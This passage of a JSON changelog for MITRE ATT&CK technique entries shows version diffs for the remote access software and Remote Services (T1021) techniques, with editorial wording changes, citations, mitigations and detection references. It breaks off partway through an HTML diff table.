                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:19:00.616000+00:00\", \"old_value\": \"2026-05-12 15:12:00.717000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software tools, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) \\n \\nRemote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome\\u2019s Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop) \", \"old_value\": \"An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) \\n \\nRemote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome\\u2019s Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) \\n+An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software tools, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) \\n  \\n Remote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome\\u2019s Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop) \"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to146__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to146__0\"><a href=\"#difflib_chg_to146__top\">t</a></td><td class=\"diff_header\" id=\"from146_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;use&nbsp;legitimate&nbsp;desktop&nbsp;support&nbsp;software&nbsp;to&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to146__top\">t</a></td><td class=\"diff_header\" id=\"to146_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;use&nbsp;legitimate&nbsp;desktop&nbsp;support&nbsp;software&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">establish&nbsp;an&nbsp;interactive&nbsp;command&nbsp;and&nbsp;control&nbsp;channel&nbsp;to&nbsp;targ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">establish&nbsp;an&nbsp;interactive&nbsp;command&nbsp;and&nbsp;control&nbsp;channel&nbsp;to&nbsp;targ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;systems&nbsp;within&nbsp;networks.&nbsp;Desktop&nbsp;support&nbsp;software&nbsp;provide</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;systems&nbsp;within&nbsp;networks.&nbsp;Desktop&nbsp;support&nbsp;software&nbsp;provide</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;graphical&nbsp;interface&nbsp;for&nbsp;remotely&nbsp;controlling&nbsp;another&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;graphical&nbsp;interface&nbsp;for&nbsp;remotely&nbsp;controlling&nbsp;another&nbsp;com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">puter,&nbsp;transmitting&nbsp;the&nbsp;display&nbsp;output,&nbsp;keyboard&nbsp;input,&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">puter,&nbsp;transmitting&nbsp;the&nbsp;display&nbsp;output,&nbsp;keyboard&nbsp;input,&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mouse&nbsp;control&nbsp;between&nbsp;devices&nbsp;using&nbsp;various&nbsp;protocols.&nbsp;Deskt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mouse&nbsp;control&nbsp;between&nbsp;devices&nbsp;using&nbsp;various&nbsp;protocols.&nbsp;Deskt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">op&nbsp;support&nbsp;software<span class=\"diff_chg\">,&nbsp;such&nbsp;as</span>&nbsp;`VNC`,&nbsp;`Team&nbsp;Viewer`,&nbsp;`AnyDesk`</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">op&nbsp;support&nbsp;software<span class=\"diff_chg\">&nbsp;tools,&nbsp;such&nbsp;as</span>&nbsp;`VNC`,&nbsp;`Team&nbsp;Viewer`,&nbsp;`An</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;`ScreenConnect`,&nbsp;`LogMein`,&nbsp;`AmmyyAdmin`,&nbsp;and&nbsp;other&nbsp;remote</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yDesk`,&nbsp;`ScreenConnect`,&nbsp;`LogMein`,&nbsp;`AmmyyAdmin`,&nbsp;and&nbsp;other&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;monitoring&nbsp;and&nbsp;management&nbsp;(RMM)&nbsp;tools,&nbsp;are&nbsp;commonly&nbsp;used&nbsp;as</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">remote&nbsp;monitoring&nbsp;and&nbsp;management&nbsp;(RMM)&nbsp;tools,&nbsp;are&nbsp;commonly&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;legitimate&nbsp;technical&nbsp;support&nbsp;software&nbsp;and&nbsp;may&nbsp;be&nbsp;allowed&nbsp;by</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed&nbsp;as&nbsp;legitimate&nbsp;technical&nbsp;support&nbsp;software&nbsp;and&nbsp;may&nbsp;be&nbsp;allo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;application&nbsp;control&nbsp;within&nbsp;a&nbsp;target&nbsp;environment.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wed&nbsp;by&nbsp;application&nbsp;control&nbsp;within&nbsp;a&nbsp;target&nbsp;environment.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Symantec&nbsp;Living&nbsp;off&nbsp;the&nbsp;Land)(Citation:&nbsp;CrowdStrike&nbsp;2015&nbsp;Glo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Symantec&nbsp;Living&nbsp;off&nbsp;the&nbsp;Land)(Citation:&nbsp;CrowdStrike&nbsp;20</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bal&nbsp;Threat&nbsp;Report)(Citation:&nbsp;CrySyS&nbsp;Blog&nbsp;TeamSpy)&nbsp;&nbsp;&nbsp;&nbsp;Remote&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">15&nbsp;Global&nbsp;Threat&nbsp;Report)(Citation:&nbsp;CrySyS&nbsp;Blog&nbsp;TeamSpy)&nbsp;&nbsp;&nbsp;&nbsp;R</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">access&nbsp;modules/features&nbsp;may&nbsp;also&nbsp;exist&nbsp;as&nbsp;part&nbsp;of&nbsp;otherwise&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emote&nbsp;access&nbsp;modules/features&nbsp;may&nbsp;also&nbsp;exist&nbsp;as&nbsp;part&nbsp;of&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">existing&nbsp;software&nbsp;such&nbsp;as&nbsp;Zoom&nbsp;or&nbsp;Google&nbsp;Chrome\u2019s&nbsp;Remote&nbsp;Des</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rwise&nbsp;existing&nbsp;software&nbsp;such&nbsp;as&nbsp;Zoom&nbsp;or&nbsp;Google&nbsp;Chrome\u2019s&nbsp;Remo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ktop.(Citation:&nbsp;Google&nbsp;Chrome&nbsp;Remote&nbsp;Desktop)(Citation:&nbsp;Chro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;Desktop.(Citation:&nbsp;Google&nbsp;Chrome&nbsp;Remote&nbsp;Desktop)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">me&nbsp;Remote&nbsp;Desktop)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Chrome&nbsp;Remote&nbsp;Desktop)&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1037: Filter Network Traffic",
                            "M1038: Execution Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0259: Remote Desktop Software Execution and Beaconing Detection"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:30:29.858000+00:00",
                    "modified": "2026-11-03 21:44:38.216000+00:00",
                    "name": "Remote Services",
                    "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to log in using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could log in to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also log in to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "lateral-movement"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1021",
                            "external_id": "T1021"
                        },
                        {
                            "source_name": "Apple Remote Desktop Admin Guide 3.3",
                            "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.",
                            "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"
                        },
                        {
                            "source_name": "Remote Management MDM macOS",
                            "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.",
                            "url": "https://support.apple.com/en-us/HT209161"
                        },
                        {
                            "source_name": "Kickstart Apple Remote Desktop commands",
                            "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.",
                            "url": "https://support.apple.com/en-us/HT201710"
                        },
                        {
                            "source_name": "Lockboxx ARD 2019",
                            "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.",
                            "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"
                        },
                        {
                            "source_name": "FireEye 2019 Apple Remote Desktop",
                            "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.",
                            "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"
                        },
                        {
                            "source_name": "TechNet Remote Desktop Services",
                            "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                            "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                        },
                        {
                            "source_name": "SSH Secure Shell",
                            "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.",
                            "url": "https://www.ssh.com/ssh"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Dan Borges, @1njection"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows",
                        "IaaS",
                        "ESXi"
                    ],
                    "x_mitre_version": "1.6",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:44:38.216000+00:00\", \"old_value\": \"2025-10-24 17:48:48.472000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\\n\\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to log in using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could log in to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also log in to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \\n\\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\\n\\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \\n\\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\\n \\n-In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \\n+In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to log in using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could log in to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also log in to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \\n \\n Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][7]\": {\"source_name\": \"Apple Unified Log Analysis Remote Login and Screen Sharing\", \"description\": \"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \\u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.\", \"url\": \"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins\"}}}",
                    "previous_version": "1.6",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to133__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to133__0\"><a href=\"#difflib_chg_to133__top\">t</a></td><td class=\"diff_header\" id=\"from133_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.or</td><td class=\"diff_next\"><a href=\"#difflib_chg_to133__top\">t</a></td><td class=\"diff_header\" id=\"to133_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1078)&nbsp;to&nbsp;log&nbsp;into&nbsp;a&nbsp;service&nbsp;that&nbsp;accepts&nbsp;remot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1078)&nbsp;to&nbsp;log&nbsp;into&nbsp;a&nbsp;service&nbsp;that&nbsp;accepts&nbsp;remot</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;connections,&nbsp;such&nbsp;as&nbsp;telnet,&nbsp;SSH,&nbsp;and&nbsp;VNC.&nbsp;The&nbsp;adversary&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;connections,&nbsp;such&nbsp;as&nbsp;telnet,&nbsp;SSH,&nbsp;and&nbsp;VNC.&nbsp;The&nbsp;adversary&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;then&nbsp;perform&nbsp;actions&nbsp;as&nbsp;the&nbsp;logged-on&nbsp;user.&nbsp;&nbsp;In&nbsp;an&nbsp;enterp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;then&nbsp;perform&nbsp;actions&nbsp;as&nbsp;the&nbsp;logged-on&nbsp;user.&nbsp;&nbsp;In&nbsp;an&nbsp;enterp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rise&nbsp;environment,&nbsp;servers&nbsp;and&nbsp;workstations&nbsp;can&nbsp;be&nbsp;organized&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rise&nbsp;environment,&nbsp;servers&nbsp;and&nbsp;workstations&nbsp;can&nbsp;be&nbsp;organized&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">into&nbsp;domains.&nbsp;Domains&nbsp;provide&nbsp;centralized&nbsp;identity&nbsp;managemen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">into&nbsp;domains.&nbsp;Domains&nbsp;provide&nbsp;centralized&nbsp;identity&nbsp;managemen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t,&nbsp;allowing&nbsp;users&nbsp;to&nbsp;log<span class=\"diff_chg\">in&nbsp;using&nbsp;one&nbsp;set</span>&nbsp;of&nbsp;credentials&nbsp;acro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t,&nbsp;allowing&nbsp;users&nbsp;to&nbsp;log<span class=\"diff_chg\">&nbsp;in&nbsp;using&nbsp;one&nbsp;set</span>&nbsp;of&nbsp;credentials&nbsp;acr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;the&nbsp;entire&nbsp;network.&nbsp;If&nbsp;an&nbsp;adversary&nbsp;is&nbsp;able&nbsp;to&nbsp;obtain&nbsp;a&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oss&nbsp;the&nbsp;entire&nbsp;network.&nbsp;If&nbsp;an&nbsp;adversary&nbsp;is&nbsp;able&nbsp;to&nbsp;obtain&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;of&nbsp;valid&nbsp;domain&nbsp;credentials,&nbsp;they&nbsp;could&nbsp;log<span class=\"diff_chg\">in&nbsp;to</span>&nbsp;many&nbsp;dif</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">set&nbsp;of&nbsp;valid&nbsp;domain&nbsp;credentials,&nbsp;they&nbsp;could&nbsp;log<span class=\"diff_chg\">&nbsp;in&nbsp;to</span>&nbsp;many&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ferent&nbsp;machines&nbsp;using&nbsp;remote&nbsp;access&nbsp;protocols&nbsp;such&nbsp;as&nbsp;secure</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ifferent&nbsp;machines&nbsp;using&nbsp;remote&nbsp;access&nbsp;protocols&nbsp;such&nbsp;as&nbsp;secu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;shell&nbsp;(SSH)&nbsp;or&nbsp;remote&nbsp;desktop&nbsp;protocol&nbsp;(RDP).(Citation:&nbsp;SSH</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;shell&nbsp;(SSH)&nbsp;or&nbsp;remote&nbsp;desktop&nbsp;protocol&nbsp;(RDP).(Citation:&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Secure&nbsp;Shell)(Citation:&nbsp;TechNet&nbsp;Remote&nbsp;Desktop&nbsp;Services)&nbsp;Th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SH&nbsp;Secure&nbsp;Shell)(Citation:&nbsp;TechNet&nbsp;Remote&nbsp;Desktop&nbsp;Services)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ey&nbsp;could&nbsp;also&nbsp;log<span class=\"diff_chg\">in&nbsp;to</span>&nbsp;accessible&nbsp;SaaS&nbsp;or&nbsp;IaaS&nbsp;services,&nbsp;suc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">They&nbsp;could&nbsp;also&nbsp;log<span class=\"diff_chg\">&nbsp;in&nbsp;to</span>&nbsp;accessible&nbsp;SaaS&nbsp;or&nbsp;IaaS&nbsp;services,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 